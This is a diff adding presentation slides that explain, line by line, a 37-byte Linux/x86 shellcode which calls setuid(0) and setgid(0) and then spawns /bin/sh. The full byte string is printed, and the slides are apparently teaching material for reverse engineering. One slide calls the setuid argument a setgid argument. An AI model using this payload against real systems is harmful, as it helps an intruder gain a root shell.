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@@ -503,6 +503,99 @@ Many improvements exist to make gdb nicer for reverse engineering, such as:
- https://github.com/longld/peda
]
+---
+template: inverse
+# Shellcode explained
+---
+.left-column[
+## Shellcode explained
+]
+.right-column[
+Shellcode from: http://shell-storm.org/shellcode/files/shellcode-251.html
+```
+/*
+ * (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL])
+ * - 37 bytes - xgc@gotfault.net
+ */
+
+ "\x6a\x17" // push $0x17
+ "\x58" // pop %eax
+ "\x31\xdb" // xor %ebx, %ebx
+ "\xcd\x80" // int $0x80
+
+ "\x6a\x2e" // push $0x2e
+ "\x58" // pop %eax
+ "\x53" // push %ebx
+ "\xcd\x80" // int $0x80
+
+ "\x31\xd2" // xor %edx, %edx
+ "\x6a\x0b" // push $0xb
+ "\x58" // pop %eax
+ "\x52" // push %edx
+ "\x68\x2f\x2f\x73\x68" // push $0x68732f2f
+ "\x68\x2f\x62\x69\x6e" // push $0x6e69622f
+ "\x89\xe3" // mov %esp, %ebx
+ "\x52" // push %edx
+ "\x53" // push %ebx
+ "\x89\xe1" // mov %esp, %ecx
+ "\xcd\x80" // int $0x80
+```
+]
+
+---
+.left-column[
+## Shellcode explained
+]
+.right-column[
+```
+ "\x6a\x17" // push $0x17
+ "\x58" // pop %eax
+ "\x31\xdb" // xor %ebx, %ebx
+ "\xcd\x80" // int $0x80
+```
+`int 0x80` is a legacy way of doing a syscall to the kernel. See also:
+http://www.linfo.org/int_0x80.html As this is a 32-bit program, the list of syscalls can be found here: `/usr/include/asm/unistd_32.h` Which shows the values in decimal: 0x17 = 23 = setuid.
+So, whats done here is put 0x17 in EAX, and make EBX (the argument for setgid, see https://faculty.nps.edu/cseagle/assembly/sys_call.html) 0 using a XOR. Then call int 0x80. Resulting in a `setuid 0`.
+]
+
+---
+.left-column[
+## Shellcode explained
+]
+.right-column[
+```
+ "\x6a\x2e" // push $0x2e
+ "\x58" // pop %eax
+ "\x53" // push %ebx
+ "\xcd\x80" // int $0x80
+```
+Pretty much the same as last snippet, but for 0x2e = 46 = setgid.
+]
+
+---
+.left-column[
+## Shellcode explained
+]
+.right-column[
+```
+ "\x31\xd2" // xor %edx, %edx
+ "\x6a\x0b" // push $0xb
+ "\x58" // pop %eax
+ "\x52" // push %edx
+ "\x68\x2f\x2f\x73\x68" // push $0x68732f2f
+ "\x68\x2f\x62\x69\x6e" // push $0x6e69622f
+ "\x89\xe3" // mov %esp, %ebx
+ "\x52" // push %edx
+ "\x53" // push %ebx
+ "\x89\xe1" // mov %esp, %ecx
+ "\xcd\x80" // int $0x80
+```
+Another `int 0x80` here for syscall 0xb = 11 = execve. 0x68732f2f in ASCII chars = `hs//`, but little endian, so read `//sh`. Same for 0x6e69622f, which gets `/bin`. Together this makes for `/bin//sh`. That double `/` is here to make things align on 32-bit words.
+
+The arguments for execve will not fit in registers, as they're variable size, so EBX gets a pointer to the string.
+]
+
+